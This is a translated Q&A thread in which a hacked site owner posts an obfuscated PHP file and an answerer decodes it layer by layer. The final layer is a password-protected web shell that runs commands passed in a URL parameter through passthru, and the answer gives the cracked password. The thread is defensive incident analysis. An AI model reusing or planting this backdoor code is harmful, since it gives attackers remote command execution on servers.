我的PHP代码中有哪些漏洞?

时间:2011-01-19 04:50:07

标签: security ebay

我的网站最近被黑了。虽然实际的网站保持不变,但他们能够以某种方式使用该域创建一个重定向到ebay网络钓鱼诈骗的链接。

由于显而易见的原因,我把网站关闭了,所以我无法链接到代码。我想知道如何找出他们使用的漏洞,以便将来可以避免这个问题。该页面使用PHP,还有一些javascript(用于表单验证)。

是否有免费服务可以扫描我的代码中的漏洞?我有什么其他选择?

谢谢, 杰夫

编辑:我已经[删除了链接]

托管了文件

需要注意的一些事项:“funcs”文件夹中有几个文件,其中大部分都没有使用,但为了以防万一,我把它们留在了那里。 “data”文件夹中的“new.php”(下面的内容)显然是个问题。最大的问题是,有人如何设法将“new.php”上传到服务器?我收到的电子邮件的RTF也有关于骗局的信息。

(警告:此代码可能对您的计算机“危险”)

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>

3 个答案:

答案 0 :(得分:9)

有趣的东西在这里发生。 php块评估为一个漂亮的小“代码生成器”:


$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");

当令人讨厌的变量名被替换为更具可读性的东西时,你得到:


$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");

,在评估时,吐出代码:


<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '<pre>';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('</pre>');
}
?>

值得注意的是,字符串:'417379a25e41bd0ac88f87dc3d029485'是密码的md5哈希值:Zrhenjq2009

明天我会再开这个。

修改:
好的,所以我花了几分钟玩这个。它看起来像一个遥控器脚本。所以现在这个页面(new.php)就位于你的服务器上,如果用户点击这个页面并传递一个名为'pass'的url参数,其值为'Zrhenjq2009',那么他们就可以执行一个外部命令了。服务器通过将url中的命令和参数作为名为“c”的参数传递。所以这就是一个代码生成器,它在服务器上创建了一个后门。很酷。

我下载了您上传的文件并通过VirusTotal.com运行了new.php,它似乎是一个新的(或经过实质性修改的)木马。另外,看起来51.php是PHPSpy木马:VirusTotal analysis,74.php是PHP.Shellbot木马VirusTotal Analysis,func.php是“webshel​​l by orb”。看起来有人在您的服务器上删除了一个不错的黑客工具包以及您上传的文档中引用的ebay网络钓鱼脚本/页面。

您应该删除原始帖子中的文件下载链接。

如果您掌握了日志,可能会很有意思。

享受。

答案 1 :(得分:3)

如果你正在使用VCS(版本控制,如git,mercurial,subversion,cvs),你可以从最后一个好的提交中做一个差异并从那里开始。

您正在使用版本控制,对吗?

答案 2 :(得分:1)

您是否可以访问服务器日志?如果您有大约第一次利用漏洞的时间,他们应该能够帮助您弄清楚这个人做了什么。除了提供一般性建议外,如果没有更多信息,很难说。

您可以共享代码(请确保删除用户名/密码等)?如果是这样,我愿意看看,但可能需要一天左右的时间(对不起,我正在研究SQL注入漏洞报告,建议识别受限数据,以及未来的标准/过程以防止它出现在未来我家里有四个孩子,包括一个3个月大的孩子。